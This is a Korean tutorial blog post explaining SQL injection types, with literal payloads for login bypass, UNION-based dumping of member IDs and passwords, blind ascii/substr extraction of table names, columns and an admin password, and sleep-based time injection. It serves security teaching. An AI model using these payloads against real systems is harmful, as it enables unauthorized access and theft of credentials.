SQL Injection이란
데이터 베이스와 연동된 웹 응용 프로그램에서 입력된 데이터의 유효성 검증을 하지 않는 보안취약점을 이용한 공격으로 . 공격자는 이를 이용하여 기존에 의도된 쿼리와는 다른 의도로 쿼리를 변경하여 DBMS에 요청하고, 이에 대한 응답을 이용하여 원하는 정보를 획득한다.
SQL 인젝션의 기본원리는 쿼리를 항상 참으로 만들어 원하는 반응을 얻어내는 것이다. DBMS는 쿼리에 대해 결과나 오류를 반환할 뿐, 쿼리의 목적을 판단하지 않기 때문이다.
가장먼저 SQL Injection에서는 크게 3가지 유형으로 나뉜다.
1. Error Based SQL 인젝션==인증 우회(AB:Auth Bypass)
2.Unipon Based SQL 인젝션==데이터 노출(DD:Data Disclosure)
3.Blind SQL 인젝션(Boolean Based SQL,Time Based SQL)
SQL 인젝션의 종류
Error Based SQL 인젝션
Error Based SQL 인젝션은 쿼리에 고의적으로 오류를 발생시켜 에러의 내용을 토대로 필요한 정보를 찾아낸다. ' 이나 " 을 넣었을 경우 오류가 반환 될 수도 있지만, 쌍으로 사용되는 GROUP BY와 HAVING 을 이용하기도 한다.
인증 우회와 Error Based SQL 인젝션 공격의 이해를 돕기 위해 로그인 페이지에서의 인증을 예로 든다. 인증 우회를 하기위해서는 로그인 창의 ID 칸에 다음과 같은 명령어를 이용하여 주로 시도한다.
아이디: |
ADMIN |
비밀번호: |
' OR '1' = '1 |
EX)
SELECT user FROM user_table WHERE id='admin' AND password='ADMIN';
(정상적인 DB구문)
SELECT user FROM user_table WHERE id='admin' AND password=' ' OR '1' = '1';
(인증 우회를 이용한 DB 구문)
비밀번호 입력값과 마지막 구문을 자세히 살펴보자. 따옴표를 올바르게 닫으며 password=' '를 만들어 버림과 동시에 SQL 구문 뒤에 OR '1' = '1'을 붙였다. WHERE 뒤에 있는 구문을 간단히 축약하면 false AND false OR true로 정리할 수 있는데, 논리학에 따르면 AND 연산은 OR보다 연산 우선순위가 빠르기 때문에 해당 구문 전체는 true가 되어 올바른 값으로 판단하고 실행하게 된다. 즉 아이디와 비번을 제대로 매치하지 못했어도 ' OR '1' = '1 구문 때문에 로그인에 성공하게 되는 것이다.
Union Based SQL 인젝션
먼저 SQL에서 UNION 구문은 두개의 쿼리문을 합쳐서 반환할 경우 주로 이용된다. 이 때, 두 테이블의 구조는 같아야 하며 다음과 같이 사용된다.
SELECT * FROM A UNION SELECT * FROM B;
Union Based sQL 인젝션은 UNION 구문의 이러한 특징을 이용하여 주로 데이터 노출을 위해 사용된다. 이는 우편번호 찾기나, 게시판과 같이 데이터를 쉽게 확인할 수 있는 곳에서 주로 이용된다.
우편번호 찾기를 이용한 데이터 노출을 예로 든다. 이 때, UNION 구문을 이용하기 위해서는 먼저 테이블 구조를 파악해야 한다. SELECT를 이용하여 컬럼의 수를 파악할 수 도 있지만, ORDER BY를 이용하여 컬럼의 수를 파악할 수 도 있다.
개포동%' or ETC like %개포동% ORDERY BY 7--;
이 경우에는 컬럼의 수가 7이기 때문에 다음과 같이 UNION 구문을 시도하여 정보를 획득할 수 있다.
개포동%' union all select 1, '222-222', userid, pwd, name, tel, address1 from MEMBER--;
획득된 정보는 다음과 같이 표시된다.
우편번호주소
222-222 | test이름 02-0000-0000 |
222-222 | test2이름2 010-0000-0000 |
… | … |
Blind SQL 인젝션
Blind SQL 인젝션은 임의의 SQL 구문을 삽입하여 인가되지 않은 데이터를 열람할 수 있는 공격 방법이라는 점에선 일반적안 SQL인젝션과는 동일하다. 하지만 일반적인 SQL인젝션은 조작된 쿼리를 한번에 입력하여 원하는 데이터를 얻는다
그러나 Blind SQL 인젝션같은 경우는 쿼리 결과 즉 서버의 참/거짓 반응을 통해 공격을 수행한다.
쿼리에 대한 결과가 참일때와 거짓일 때 서버의 반응이 나타나야 하며 이를 구분할 수 있어야 한다.
[[ 테이블(information_schema.tables) 추출 ]]
:: ascii 테이블을 기반으로 숫자를 변경하여 범위를 줄임
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) > 110 #
- Response : Login Failed
:: 첫번째 문자열 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) > 108 #
- Response : Success
:: 확실히 맞는지 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)) = 109 #
- Response : Success
:: 두번째 문자열 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),2,1)) = 109 #
- Response : Success
:: 마지막 문자열 확인
' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),7,1)) = 0 #
[ column 추출 - information_schema.columns ]]
--> 테이블 명에서 찾은 "member"를 활용
:: ascii 테이블을 기반으로 숫자를 변경하여 범위를 줄임
' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) > 110 #
' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) > 53)#
:: 첫번째 컬럼
' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1)) = 110)#
' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),2,1)) = 111)#
no
:: 두번째 컬럼
' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 1,1),1,1)) = 105)#
' or 1=1 AND (select ascii(substring((select column_name from information_schema.columns where table_name='member' limit 1,1),2,1)) = 100)#
id
[ 저장된 값 찾기 ]]
' or 1=1 AND (select ascii(substring((select password from member where id='admin' limit 0,1),1,1)) > 100)#
' or 1=1 AND (select ascii(substring((select password from member where id='admin' limit 0,1),1,1)) = 115)#
' or 1=1 AND (select ascii(substring((select password from member where id='admin' limit 0,1),16,1)) =0)#
Boolean Based SQL 인젝션
Blind Based SQL 인젝션은 쿼리의 결과가 참과 거짓에 대하여, 웹 페이지가 서로 다르게 반응 하는 것을 이용하여 공격한다. 아래와 같이 참인 경우와 거짓인 경우를 각각 넣어 사이트의 반응을 살펴야 한다.
' or 1=1 --; ' or 1=2 --;
Time Based SQL 인젝션
Time Based SQL 인젝션은 SLEEP 함수나 waitfor delay 등 시간 지연 함수를 이용하여 DBMS의 한 쓰레드를 잡고 대기함으로써 서비스 지연을 유발할 수 있다. Time Based SQL 인젝션은 자동화 툴을 이용할 때 특히 조심해야 한다. 대량으로 주입된 SLEEP 함수로 인해 가용성에 문제를 줄 수 있기 때문이다.
' or sleep(5)--;
.
'웹 취약점 분석' 카테고리의 다른 글
SQL Injection(취약한 컬럼수 찾기) (0) | 2019.10.02 |
---|---|
SQL Injection(Union based SQL Injection 실습) (0) | 2019.10.02 |
PART 4: CSRF를 이용한 사용자 강제 정보수정. 위즈몰(PHP 기반) (0) | 2019.10.02 |
PART 3: CSRF를 이용한 관리자 PWD변경. 위즈몰(PHP 기반) (0) | 2019.10.02 |
PART 2: CSRF를 이용한 포인트 변조. 위즈몰(PHP 기반) (0) | 2019.10.02 |
댓글